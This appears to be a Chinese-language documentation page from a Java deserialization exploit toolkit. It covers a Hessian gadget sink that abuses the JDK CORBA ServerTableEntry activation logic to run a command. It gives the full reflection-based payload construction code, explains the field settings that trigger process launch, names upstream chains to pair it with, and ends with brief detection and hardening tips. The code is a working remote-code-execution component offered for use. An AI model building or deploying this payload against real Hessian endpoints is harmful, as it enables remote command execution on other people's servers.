- 类别:hessian 别名:— 优先级:—
- 作者:N1ght
- 依赖:无(仅需 JDK 内置 CORBA 实现类
com.sun.corba.se.impl.activation.*,JDK 8 及带 CORBA 模块的环境)
注:该 gadget 在源码中被标注为
@Deprecated。
利用 JDK 自带 CORBA 激活框架中的 com.sun.corba.se.impl.activation.ServerManagerImpl 与 ServerTableEntry:预先在 ServerTableEntry 上把 state、process、activationCmd 等字段布置成「待激活」状态,当上游 Hessian getter 触发 ServerTableEntry 的相关 getter 时,进入服务器激活逻辑并执行预置命令。作为链尾 sink,专供 Hessian 的 getter 触发场景。
- 入口
tags:HessianGetter(承接上游「会调用本对象 getter」的 Hessian 触发环,如RomeToStringBean2、XBeanToString等)、NotForJavaSerializable(目标 CORBA 类未实现Serializable,只能走 Hessian、不能用于 Java 原生反序列化)、END(链终点/sink)。 - 衔接
nextTags:无(本身即 sink)。 excludes:无。
@Param(name="命令", description="eg: calc;")
public String cmd = "calc";
public String methodName = "getQueuedJobCountAIX";
public String paramName = "queuedJobCountAIX";
public Object getObject() throws Exception {
ServerManagerImpl serverManager = Reflections.createWithoutConstructor(ServerManagerImpl.class);
HashMap<Integer, ServerTableEntry> hashMap = new HashMap<>();
ServerTableEntry serverTableEntry = Reflections.createWithoutConstructor(ServerTableEntry.class);
hashMap.put(1, serverTableEntry);
Reflections.setFieldValue(serverTableEntry, "state", 2); // 置为「待激活」状态
Reflections.setFieldValue(serverTableEntry, "activateRetryCount", 0);
Reflections.setFieldValue(serverTableEntry, "debug", false);
Reflections.setFieldValue(serverTableEntry, "activationCmd", "calc"); // 激活命令
Object process = Reflections.createWithoutConstructor(Class.forName("java.lang.ProcessImpl"));
Reflections.setFieldValue(process, "handle", 6); // 伪造一个已存在的 ProcessImpl
Reflections.setFieldValue(serverTableEntry, "process", process);
Reflections.setFieldValue(serverManager, "serverTable", hashMap); // 挂入 serverTable
return serverManager;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName); // 告知上游要调用的方法名
context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName); // 告知上游要触发的属性名
return this.getObject();
}逐段解释:
- 反编译输出里的
ServerManagerImpl.class因简单类名与本 gadget 同名而被 CFR 解析成当前类,真实目标是 CORBA 的com.sun.corba.se.impl.activation.ServerManagerImpl(含serverTable字段的服务器管理器)。代码通过createWithoutConstructor绕过构造器直接实例化。 - 核心是把一个
ServerTableEntry塞进serverTable这个HashMap,并把它的内部状态机字段布置到「已有进程句柄、待用activationCmd激活」的组合:state=2、process=伪造 ProcessImpl(handle=6)、activationCmd为要执行的命令。当上游反射调用到该条目的激活/查询类 getter(invoke里注入的methodName=getQueuedJobCountAIX、属性名queuedJobCountAIX)时,ServerTableEntry内部会走到启动/激活分支,最终以activationCmd拉起进程,实现命令注入。 invoke不做包装,仅向GadgetContext写入SPECIAL_METHOD_NAME_KEY与GETTER_PARAM_NAME_KEY,供上游 getter 触发环(如RomeToStringBean2)据此决定「调用哪个方法/枚举哪个属性」,从而精准命中getQueuedJobCountAIX。- 已知缺陷(如实标注):
getObject中activationCmd被硬编码为字面量"calc",并未使用@Param cmd字段。也就是说本反编译版本的cmd参数实际不生效,命令固定为calc;这与其@Deprecated状态一致,属遗留/演示用途。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | 期望执行的命令,如 calc; |
calc |
— |
注意:如上所述,反编译版本的
getObject硬编码activationCmd="calc",cmd参数当前未被真正读取。
- 依赖 JDK 内置 CORBA 激活实现
com.sun.corba.se.impl.activation.ServerManagerImpl/ServerTableEntry。JDK 9 起 CORBA 被模块化剥离(JDK 11 彻底移除),故仅适用于 JDK 8 或仍带 CORBA 的运行时。 - 目标类未实现
Serializable,只能在 Hessian(按字段无差别反序列化)中构造,无法用于 Java 原生反序列化——对应NotForJavaSerializable标签。 - 需上游提供 getter 触发点(
HessianGetter),并按methodName=getQueuedJobCountAIX精确调用。
usedInChains 为空——自由构件,未直接出现在预设链。可作为 sink 接在 Hessian getter 触发型 gadget 之后。
- 上游(
tags=HessianGetter):RomeToStringBean2、XBeanToString等能触发目标对象 getter 的 Hessian 环。 - 同类 sink:SpringExec(Spring 体系的命令执行 sink)。
- 类指纹:Hessian 流量中出现
com.sun.corba.se.impl.activation.ServerManagerImpl/ServerTableEntry极不正常,可直接告警。 - 加固:Hessian 反序列化启用类白名单;JDK 升级到不含 CORBA 的版本可从根本上消除该 sink。